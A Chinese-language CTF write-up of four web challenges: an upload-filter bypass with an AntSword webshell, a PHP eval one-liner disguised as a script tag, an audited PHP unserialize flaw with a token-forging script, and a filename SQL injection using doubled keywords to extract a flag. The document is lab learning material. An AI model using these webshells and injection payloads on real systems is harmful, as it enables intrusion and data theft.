1
成功上传拿到上传地址,尝试修改后缀名
没有阻拦的绕了过去,直接上蚁剑吧
翻了一圈没找到flag,找到了数据库数据连接看看
不断点击数据库发现了藏着flag的地方
点击之后没有直接出现flag,而是要执行SQL语句将flag读取出来
2
莫不是签到题,直接传php文件吧
上传之后没有返回路径,看来没有简单到爆炸,一直再找原因,我的bp也没啥变化
没头绪了我去看了一眼wp发现,正常来说传一句话上去会过滤掉<?和php,不知道为啥我这bp没反应
找到了一个伪装成js的一句话绕过
<script language="pHp">@eval($_POST['123'])</script>
成功上传之后,我的bp还是没有返回路径,很是头疼最后我打开了源码发现了路径
上蚁剑吧
结束了
3(这个乱入了)
一个登录框,我尝试了万能密码没有成功,就产看源码了,差点少看了最后的地方
类似账号密码,登录看看
就这玩意,源码也没看到东西,抓包吧
这个show: 0很扎眼
改成1会怎么样
出现了正真的源码,扒下来吧审计
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(鈺�碘枴鈥�)鈺傅鈹粹攢鈹� ";
}
}else{
header('Location: index.php?error=1');
}
?>
然后找到了关键性的地方
传入token,经过他自己的这个解密方式,再使得user==ichunqiu就能拿到flag
<?php
$i=["user" => "ichunqiu",];
print(base64_encode(gzcompress(serialize($i))));
?>
拿到eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
写入token即可拿到flag,我这出了点小问题没整出来…
4
传了个图片上去,抓包也没有路径,只有页面返回的值,猜测应该是文件名的SQL注入,头一次遇见这种也没啥头绪,我选择掏出wp研究一下
先了解一下俩函数
CONV()
简单的来说这个函数就是用来进行?进制的转换?的
CONV(N,from_base,to_base)
N是要转换的数据,from_base是原进制,to_base是目标进制。
如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数
substr()函数返回字符串的一部分。
substr(string,start,length)
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
先注册个号进去
搞张图改名,开始传
首先将文件名改成如下
a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
这里需要双写绕过
substr超过12就会科学计数法,所以分段获取内容
将返回内容转为16进制后,再16进制转字符串
获取的内容应该不全,扩大范围接着找
a' +(selselectect conv(substr(hex(database()),15,12),16,10))+ '.jpg
哎,我擦缺了个东西,后面改一下范围
a' +(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg
这样应该就行了,减少篇幅就不重复操作了
这样我们就拿到了数据库的名字web_upload
接着注,下一步注表
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
范围再加12
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
一看就还没结束,后面应该还有,再加12
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
到这应该是结束了拿到了表明hello_flag_is_here
再后面就是注列名和字段内容,方法同上
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
一次没能全部输出,扩大12接着输出
拿到列名i_am_flag
最后注出字段具体内容
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
三次才把所有的内容回显出来
拿到flag:!!_@m_Th.e_F!lag
人麻了,先这样吧,今晚会接触一下AWD到时候看看能不能写点东西
前面的系列文章压榨空闲时间会慢慢发出来